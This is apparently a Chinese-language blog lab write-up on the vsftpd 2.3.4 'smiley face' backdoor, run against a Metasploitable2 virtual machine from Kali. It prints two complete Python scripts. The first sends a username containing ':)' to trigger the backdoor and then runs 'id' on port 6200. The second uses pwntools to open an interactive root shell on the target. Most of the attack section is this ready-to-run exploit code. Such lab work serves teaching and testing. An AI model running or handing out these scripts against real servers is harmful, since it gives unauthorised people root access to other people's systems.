本文最后更新于 2024年10月17日 晚上
python笑脸漏洞检测并复现
一、原理
vsftpd 是“ very secure FTP daemon ”的缩写,安全性是它的一个最大的特点。 vsftpd是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux 、 BSD 、 Solaris 、HP UNIX 等系统上面,是一个完全免费的、开放源代码的 ftp 服务器软件,支持很多其他的FTP 服务器所不支持的特征
笑脸漏洞:这个漏洞是开发者在软件中留下的后门漏洞,当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“:) ”,密码任意,即可运行 vsf_sysutil_extra() :打开服务器的6200端口,并且不需要密码就能从6200端口以管理员身份登入目标服务器。因为输入用户名需要带有:),所以称笑脸漏洞
二、实验器材
–kali
–Metasplotable2-Linux
三、漏洞复现
我们先用namp看当前局域网存活的主机

可以看到扫描到了攻击靶机,并且打开了21端口(ftp)
这里有一个脚本可以用来检测是否有笑脸漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import socket import time def connect_to_ftp(host, port): try: ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((host, port)) print(f"成功连接到FTP服务器 {host}:{port}") response = ftp_socket.recv(1024).decode() print(f"FTP服务器响应: {response}") ftp_socket.send(b'USER hacker:)\r\n') time.sleep(1) ftp_socket.send(b'PASS anypassword\r\n') time.sleep(1) response = ftp_socket.recv(1024).decode() print(f"FTP响应: {response}") return check_backdoor_shell(host) except Exception as e: print(f"连接FTP服务器失败: {e}") def check_backdoor_shell(host): try: shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shell_socket.connect((host, 6200)) print("后门shell已打开!连接到6200端口成功。") shell_socket.send(b'id\n') time.sleep(1) response = shell_socket.recv(1024).decode() print(f"从shell获得的响应: {response}") shell_socket.close() return True except Exception as e: print(f"连接6200端口失败: {e}") return False if __name__ == "__main__": target_host = "192.168.190.130" target_port = 21 connect_to_ftp(target_host, target_port)
|
这个脚本的运作原理其实非常简单,就是连接ftp服务器,发送恶意用户名来测试是否存在漏洞,存在即连接漏洞端口测试shell的响应

可以看到是连接成功的
博主心血来潮,尝试着把上面的检测代码改成远程控制shell的代码,试了一下,没想到成功了,毕竟拿shell是每一个pwn手的目标
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import socket import time from pwn import* def connect_to_ftp(host, port): try: ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((host, port)) print(f"成功连接到FTP服务器 {host}:{port}") response = ftp_socket.recv(1024).decode() print(f"FTP服务器响应: {response}") ftp_socket.send(b'USER hacker:)\r\n') time.sleep(1) ftp_socket.send(b'PASS anypassword\r\n') time.sleep(1) response = ftp_socket.recv(1024).decode() print(f"FTP响应: {response}") return check_backdoor_shell(host) except Exception as e: print(f"连接FTP服务器失败: {e}") def check_backdoor_shell(host): try: shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) io=remote(host,6200) print("后门shell已打开!连接到6200端口成功。") '''shell_socket.send(b'ls\n') time.sleep(1) response = shell_socket.recv(1024).decode() print(f"从shell获得的响应: {response}\n")''' io.interactive() return True except Exception as e: print(f"连接6200端口失败: {e}") return False if __name__ == "__main__": target_host = "192.168.190.130" target_port = 21 connect_to_ftp(target_host, target_port)
|

可以对远程的靶机进行操作